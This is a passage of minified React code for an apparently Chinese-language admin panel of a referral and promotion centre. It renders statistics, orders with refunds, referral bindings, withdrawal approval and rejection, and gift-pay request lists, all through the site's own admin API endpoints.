ct=C==="completed"?"success":C==="rejected"?"failed":C,nt=new URLSearchParams({...ct&&ct!=="all"&&{status:ct},page:String(T),pageSize:String(O)}),gt=await De(`/api/admin/withdrawals?${nt}`);if(gt!=null&>.success&>.withdrawals){const Rt=gt.withdrawals.map(gn=>({...gn,account:gn.account??"未绑定微信号",status:gn.status==="success"?"completed":gn.status==="failed"?"rejected":gn.status}));h(Rt),D((gt==null?void 0:gt.total)??Rt.length)}else gt!=null&>.success||w(`获取提现记录失败: ${(gt==null?void 0:gt.error)||"未知错误"}`),h([])}catch(ct){console.error(ct),w("加载提现数据失败"),h([])}break}case"giftPay":{try{const ct=new URLSearchParams({page:String(B),pageSize:"20",...ye&&{status:ye}}),nt=await De(`/api/admin/gift-pay-requests?${ct}`);nt!=null&&nt.success&&nt.data?(Y(nt.data),ce(nt.total??nt.data.length)):(Y([]),ce(0))}catch(ct){console.error(ct),w("加载代付请求失败"),Y([])}break}}Z(ct=>new Set(ct).add(q))}catch(xt){console.error(xt)}finally{y(!1)}}}async function Tt(){w(null),Z(q=>{const We=new Set(q);return We.delete(t),We}),t==="overview"&&Le(),await lt(t,!0)}async function ln(q){if(confirm("确认审核通过并打款?"))try{const We=await zt("/api/admin/withdrawals",{id:q,action:"approve"});if(!(We!=null&&We.success)){const Je=(We==null?void 0:We.message)||(We==null?void 0:We.error)||"操作失败";ie.error(Je);return}await Tt()}catch(We){console.error(We),ie.error("操作失败")}}function yt(q){K(q),z("")}async function nn(){const q=P;if(!q)return;const We=V.trim();if(!We){ie.error("请填写拒绝原因");return}le(!0);try{const Je=await zt("/api/admin/withdrawals",{id:q,action:"reject",errorMessage:We});if(!(Je!=null&&Je.success)){ie.error((Je==null?void 0:Je.error)||"操作失败");return}ie.success("已拒绝该提现申请"),K(null),z(""),await Tt()}catch(Je){console.error(Je),ie.error("操作失败")}finally{le(!1)}}function In(){P&&ie.info("已取消操作"),K(null),z("")}async function Mt(){var q;if(!(!(ne!=null&&ne.orderSn)&&!(ne!=null&&ne.id))){oe(!0),w(null);try{const We=await zt("/api/admin/orders/refund",{orderSn:ne.orderSn||ne.id,reason:xe||void 0});We!=null&&We.success?(fe(null),$(""),await lt("orders",!0)):w((We==null?void 0:We.error)||"退款失败")}catch(We){const Je=We;w(((q=Je==null?void 0:Je.data)==null?void 0:q.error)||"退款失败,请检查网络后重试")}finally{oe(!1)}}}function Yt(q){const We={active:"bg-green-500/20 text-green-400",converted:"bg-blue-500/20 text-blue-400",expired:"bg-gray-500/20 text-gray-400",cancelled:"bg-red-500/20 text-red-400",pending:"bg-orange-500/20 text-orange-400",pending_confirm:"bg-orange-500/20 text-orange-400",processing:"bg-blue-500/20 text-blue-400",completed:"bg-green-500/20 text-green-400",rejected:"bg-red-500/20 text-red-400"},Je={active:"有效",converted:"已转化",expired:"已过期",cancelled:"已取消",pending:"待审核",pending_confirm:"待用户确认",processing:"处理中",completed:"已完成",rejected:"已拒绝"};return s.jsx(qe,{className:`${We[q]||"bg-gray-500/20 text-gray-400"} border-0`,children:Je[q]||q})}const rn=Math.ceil(R/O)||1,Rn=n,pr=o.filter(q=>{var Je,xt,ct,nt;if(!v)return!0;const We=v.toLowerCase();return((Je=q.refereeNickname)==null?void 0:Je.toLowerCase().includes(We))||((xt=q.refereePhone)==null?void 0:xt.includes(We))||((ct=q.referrerName)==null?void 0:ct.toLowerCase().includes(We))||((nt=q.referrerCode)==null?void 0:nt.toLowerCase().includes(We))}),Pn=u.filter(q=>{var Je;if(!v)return!0;const We=v.toLowerCase();return((Je=q.userName)==null?void 0:Je.toLowerCase().includes(We))||q.account&&q.account.toLowerCase().includes(We)});return s.jsxs("div",{className:"p-8 w-full",children:[N&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:N}),s.jsx("button",{type:"button",onClick:()=>w(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex items-center justify-between mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"推广中心"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"统一管理:订单、分销绑定、提现审核"})]}),s.jsxs(te,{onClick:Tt,disabled:g,variant:"outline",className:"border-gray-700 text-gray-300 hover:bg-gray-800",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${g?"animate-spin":""}`}),"刷新数据"]})]}),s.jsx("div",{className:"flex gap-2 mb-6 border-b border-gray-700 pb-4 flex-wrap",children:[{key:"overview",label:"数据概览",icon:$c},{key:"orders",label:"订单管理",icon:dh},{key:"bindings",label:"绑定管理",icon:Ss},{key:"withdrawals",label:"提现审核",icon:jl},{key:"giftPay",label:"代付请求",icon:Xw},{key:"settings",label:"推广设置",icon:lo}].map(q=>s.jsxs("button",{type:"button",onClick:()=>{e(q.key),E("all"),k(""),q.key==="giftPay"&&(Re(""),re(1))},className:`flex items-center gap-2 px-4 py-2 rounded-lg text-sm font-medium transition-colors ${t===q.key?"bg-[#38bdac] text-white":"text-gray-400 hover:text-white hover:bg-gray-800"}`,children:[s.jsx(q.icon,{className:"w-4 h-4"}),q.label]},q.key))}),g?s.jsxs("div",{className:"flex items-center justify-center py-20",children:[s.jsx(Ke,{className:"w-8 h-8 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[t==="overview"&&a&&s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-4 gap-4",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日点击"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayClicks}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"总点击次数(实时)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-blue-500/20 flex items-center justify-center",children:s.jsx(Ig,{className:"w-6 h-6 text-blue-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日独立用户"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayUniqueVisitors??0}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"去重访客数(实时)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-cyan-500/20 flex items-center justify-center",children:s.jsx(Zn,{className:"w-6 h-6 text-cyan-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日总文章点击率"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:(a.todayClickRate??0).toFixed(2)}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"人均点击(总点击/独立用户)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-amber-500/20 flex items-center justify-center",children:s.jsx($c,{className:"w-6 h-6 text-amber-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日绑定"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayBindings})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-green-500/20 flex items-center justify-center",children:s.jsx(Ss,{className:"w-6 h-6 text-green-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日转化"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayConversions})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-purple-500/20 flex items-center justify-center",children:s.jsx($v,{className:"w-6 h-6 text-purple-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日佣金"}),s.jsxs("p",{className:"text-2xl font-bold text-[#38bdac] mt-1",children:["¥",a.todayEarnings.toFixed(2)]})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-[#38bdac]/20 flex items-center justify-center",children:s.jsx(dh,{className:"w-6 h-6 text-[#38bdac]"})})]})})})]}),(((Hn=a.todayClicksByPage)==null?void 0:Hn.length)??0)>0&&s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Ig,{className:"w-5 h-5 text-[#38bdac]"}),"每篇文章今日点击(按来源页/文章统计)"]}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"实际用户与实际文章的点击均计入;今日总点击与上表一致"})]}),s.jsx(Ee,{children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700 text-left text-gray-400",children:[s.jsx("th",{className:"pb-3 pr-4",children:"来源页/文章"}),s.jsx("th",{className:"pb-3 pr-4 text-right",children:"今日点击"}),s.jsx("th",{className:"pb-3 text-right",children:"占比"})]})}),s.jsx("tbody",{children:[...a.todayClicksByPage??[]].sort((q,We)=>We.clicks-q.clicks).map((q,We)=>s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("td",{className:"py-2 pr-4 text-white font-mono",children:q.page||"(未区分)"}),s.jsx("td",{className:"py-2 pr-4 text-right text-white",children:q.clicks}),s.jsxs("td",{className:"py-2 text-right text-gray-400",children:[a.todayClicks>0?(q.clicks/a.todayClicks*100).toFixed(1):0,"%"]})]},We))})]})})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(Ce,{className:"bg-orange-500/10 border-orange-500/30",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-orange-500/20 flex items-center justify-center",children:s.jsx(Ag,{className:"w-6 h-6 text-orange-400"})}),s.jsxs("div",{className:"flex-1",children:[s.jsx("p",{className:"text-orange-300 font-medium",children:"即将过期绑定"}),s.jsxs("p",{className:"text-2xl font-bold text-white",children:[a.expiringBindings," 个"]}),s.jsx("p",{className:"text-orange-300/60 text-sm",children:"7天内到期,需关注转化"})]})]})})}),s.jsx(Ce,{className:"bg-blue-500/10 border-blue-500/30",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-blue-500/20 flex items-center justify-center",children:s.jsx(jl,{className:"w-6 h-6 text-blue-400"})}),s.jsxs("div",{className:"flex-1",children:[s.jsx("p",{className:"text-blue-300 font-medium",children:"待审核提现"}),s.jsxs("p",{className:"text-2xl font-bold text-white",children:[a.pendingWithdrawals," 笔"]}),s.jsxs("p",{className:"text-blue-300/60 text-sm",children:["共 ¥",a.pendingWithdrawAmount.toFixed(2)]})]}),s.jsx(te,{onClick:()=>e("withdrawals"),variant:"outline",className:"border-blue-500/50 text-blue-400 hover:bg-blue-500/20",children:"去审核"})]})})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(ch,{className:"w-5 h-5 text-[#38bdac]"}),"本月统计"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"点击量"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthClicks})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"绑定数"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthBindings})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"转化数"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthConversions})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"佣金"}),s.jsxs("p",{className:"text-xl font-bold text-[#38bdac]",children:["¥",a.monthEarnings.toFixed(2)]})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx($c,{className:"w-5 h-5 text-[#38bdac]"}),"累计统计"]})}),s.jsxs(Ee,{children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总点击"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalClicks.toLocaleString()})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总绑定"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalBindings.toLocaleString()})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总转化"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalConversions})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总佣金"}),s.jsxs("p",{className:"text-xl font-bold text-[#38bdac]",children:["¥",a.totalEarnings.toFixed(2)]})]})]}),s.jsxs("div",{className:"mt-4 p-4 bg-[#38bdac]/10 rounded-lg flex items-center justify-between",children:[s.jsx("span",{className:"text-gray-300",children:"点击转化率"}),s.jsxs("span",{className:"text-[#38bdac] font-bold text-xl",children:[a.conversionRate,"%"]})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"推广统计"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"grid grid-cols-4 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-white",children:a.totalDistributors}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"推广用户数"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-green-400",children:a.activeDistributors}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"有收益用户"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-[#38bdac]",children:"90%"}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"佣金比例"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-orange-400",children:"30天"}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"绑定有效期"})]})]})})]})]}),t==="orders"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:q=>k(q.target.value),placeholder:"搜索订单号、用户名、手机号...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:q=>E(q.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"failed",children:"已失败"}),s.jsx("option",{value:"refunded",children:"已退款"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[n.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无订单数据"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"订单号"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"商品"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"支付方式"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"退款原因"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"推荐人/邀请码"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"分销佣金"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"下单时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:Rn.map(q=>{var We,Je;return s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsxs("td",{className:"p-4 font-mono text-xs text-gray-400",children:[(We=q.id)==null?void 0:We.slice(0,12),"..."]}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white text-sm",children:q.userNickname}),s.jsx("p",{className:"text-gray-500 text-xs",children:q.userPhone})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white text-sm",children:(()=>{const xt=q.productType||q.type,ct=q.description||"",nt=String(q.productId||q.sectionId||""),gt=xt==="vip"||ct.includes("VIP")||ct.toLowerCase().includes("vip")||nt.toLowerCase().includes("vip");return xt==="balance_recharge"?`余额充值 ¥${typeof q.amount=="number"?q.amount.toFixed(2):parseFloat(String(q.amount||"0")).toFixed(2)}`:gt?"超级个体开通费用":xt==="fullbook"?`${q.bookName||"《底层逻辑》"} - 全本`:xt==="match"?"匹配次数购买":`${q.bookName||"《底层逻辑》"} - ${q.sectionTitle||q.chapterTitle||`章节${q.productId||q.sectionId||""}`}`})()}),s.jsx("p",{className:"text-gray-500 text-xs",children:(()=>{const xt=q.productType||q.type,ct=q.description||"",nt=String(q.productId||q.sectionId||""),gt=xt==="vip"||ct.includes("VIP")||ct.toLowerCase().includes("vip")||nt.toLowerCase().includes("vip");return xt==="balance_recharge"?"余额充值":gt?"超级个体":xt==="fullbook"?"全书解锁":xt==="match"?"功能权益":q.chapterTitle||"单章购买"})()})]})}),s.jsxs("td",{className:"p-4 text-[#38bdac] font-bold",children:["¥",typeof q.amount=="number"?q.amount.toFixed(2):parseFloat(String(q.amount||"0")).toFixed(2)]}),s.jsx("td",{className:"p-4 text-gray-300",children:q.paymentMethod==="wechat"?"微信支付":q.paymentMethod==="balance"?"余额支付":q.paymentMethod==="alipay"?"支付宝":q.paymentMethod||"微信支付"}),s.jsx("td",{className:"p-4",children:q.status==="refunded"?s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 border-0",children:"已退款"}):q.status==="completed"||q.status==="paid"?s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0",children:"已完成"}):q.status==="pending"||q.status==="created"?s.jsx(qe,{className:"bg-yellow-500/20 text-yellow-400 border-0",children:"待支付"}):s.jsx(qe,{className:"bg-red-500/20 text-red-400 border-0",children:"已失败"})}),s.jsx("td",{className:"p-4 text-gray-400 text-sm max-w-[120px]",title:q.refundReason,children:q.status==="refunded"&&q.refundReason?q.refundReason:"-"}),s.jsx("td",{className:"p-4 text-gray-300 text-sm",children:q.referrerId||q.referralCode?s.jsxs("span",{title:q.referralCode||q.referrerCode||q.referrerId||"",children:[q.referrerNickname||q.referralCode||q.referrerCode||((Je=q.referrerId)==null?void 0:Je.slice(0,8)),(q.referralCode||q.referrerCode)&&` (${q.referralCode||q.referrerCode})`]}):"-"}),s.jsx("td",{className:"p-4 text-[#FFD700]",children:q.referrerEarnings?`¥${(typeof q.referrerEarnings=="number"?q.referrerEarnings:parseFloat(String(q.referrerEarnings))).toFixed(2)}`:"-"}),s.jsx("td",{className:"p-4 text-gray-400 text-sm",children:q.createdAt?new Date(q.createdAt).toLocaleString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:(q.status==="paid"||q.status==="completed")&&s.jsxs(te,{variant:"outline",size:"sm",className:"border-orange-500/50 text-orange-400 hover:bg-orange-500/20",onClick:()=>{fe(q),$("")},children:[s.jsx(rj,{className:"w-3 h-3 mr-1"}),"退款"]})})]},q.id)})})]})}),t==="orders"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:q=>{L(q),I(1)}})]})})]}),t==="bindings"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:q=>k(q.target.value),placeholder:"搜索用户昵称、手机号、推广码...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:q=>E(q.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"active",children:"有效"}),s.jsx("option",{value:"converted",children:"已转化"}),s.jsx("option",{value:"expired",children:"已过期"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[pr.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无绑定数据"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"访客"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"分销商"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"绑定时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"到期时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"佣金"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:pr.map(q=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-medium",children:q.refereeNickname||"匿名用户"}),s.jsx("p",{className:"text-gray-500 text-xs",children:q.refereePhone})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white",children:q.referrerName||"-"}),s.jsx("p",{className:"text-gray-500 text-xs font-mono",children:q.referrerCode})]})}),s.jsx("td",{className:"p-4 text-gray-400",children:q.boundAt?new Date(q.boundAt).toLocaleDateString("zh-CN"):"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:q.expiresAt?new Date(q.expiresAt).toLocaleDateString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:Yt(q.status)}),s.jsx("td",{className:"p-4",children:q.commission?s.jsxs("span",{className:"text-[#38bdac] font-medium",children:["¥",q.commission.toFixed(2)]}):s.jsx("span",{className:"text-gray-500",children:"-"})})]},q.id))})]})}),t==="bindings"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:q=>{L(q),I(1)}})]})})]}),t==="withdrawals"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:q=>k(q.target.value),placeholder:"搜索用户名称、账号...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:q=>E(q.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"pending",children:"待审核"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"rejected",children:"已拒绝"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[Pn.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无提现记录"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"申请人"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"收款方式"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"收款账号"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"申请时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-right font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:Pn.map(q=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4",children:s.jsxs("div",{className:"flex items-center gap-2",children:[q.userAvatar?s.jsx("img",{src:q.userAvatar,alt:"",className:"w-8 h-8 rounded-full object-cover"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-gray-600 flex items-center justify-center text-white text-sm font-medium",children:(q.userName||q.name||"?").slice(0,1)}),s.jsx("p",{className:"text-white font-medium",children:q.userName||q.name})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("span",{className:"text-[#38bdac] font-bold",children:["¥",q.amount.toFixed(2)]})}),s.jsx("td",{className:"p-4",children:s.jsx(qe,{className:q.method==="wechat"?"bg-green-500/20 text-green-400 border-0":"bg-blue-500/20 text-blue-400 border-0",children:q.method==="wechat"?"微信":"支付宝"})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-mono text-xs",children:q.account}),s.jsx("p",{className:"text-gray-500 text-xs",children:q.name})]})}),s.jsx("td",{className:"p-4 text-gray-400",children:q.createdAt?new Date(q.createdAt).toLocaleString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:Yt(q.status)}),s.jsx("td",{className:"p-4 text-right",children:q.status==="pending"&&s.jsxs("div",{className:"flex gap-2 justify-end",children:[s.jsxs(te,{size:"sm",onClick:()=>ln(q.id),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx($v,{className:"w-4 h-4 mr-1"}),"通过"]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>yt(q.id),className:"border-red-500/50 text-red-400 hover:bg-red-500/20",children:[s.jsx(Jw,{className:"w-4 h-4 mr-1"}),"拒绝"]})]})})]},q.id))})]})}),t==="withdrawals"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:q=>{L(q),I(1)}})]})})]}),t==="giftPay"&&s.jsx("div",{className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs("div",{className:"flex flex-wrap items-center justify-between gap-4",children:[s.jsx(Qe,{className:"text-white",children:"代付请求列表"}),s.jsxs("div",{className:"flex gap-2 items-center",children:[s.jsxs("select",{className:"bg-[#0a1628] border border-gray-700 text-white rounded px-3 py-1.5 text-sm",value:ye,onChange:q=>{Re(q.target.value),re(1)},children:[s.jsx("option",{value:"",children:"全部状态"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"paid",children:"已支付"}),s.jsx("option",{value:"cancelled",children:"已取消"}),s.jsx("option",{value:"expired",children:"已过期"})]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>lt("giftPay",!0),className:"border-gray-600 text-gray-300",children:[s.jsx(Ke,{className:"w-4 h-4 mr-1"}),"刷新"]})]})]})}),s.jsxs(Ee,{children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"请求号"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"发起人"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"商品/金额"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"代付人"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"创建时间"})]})}),s.jsx("tbody",{className:"divide-y 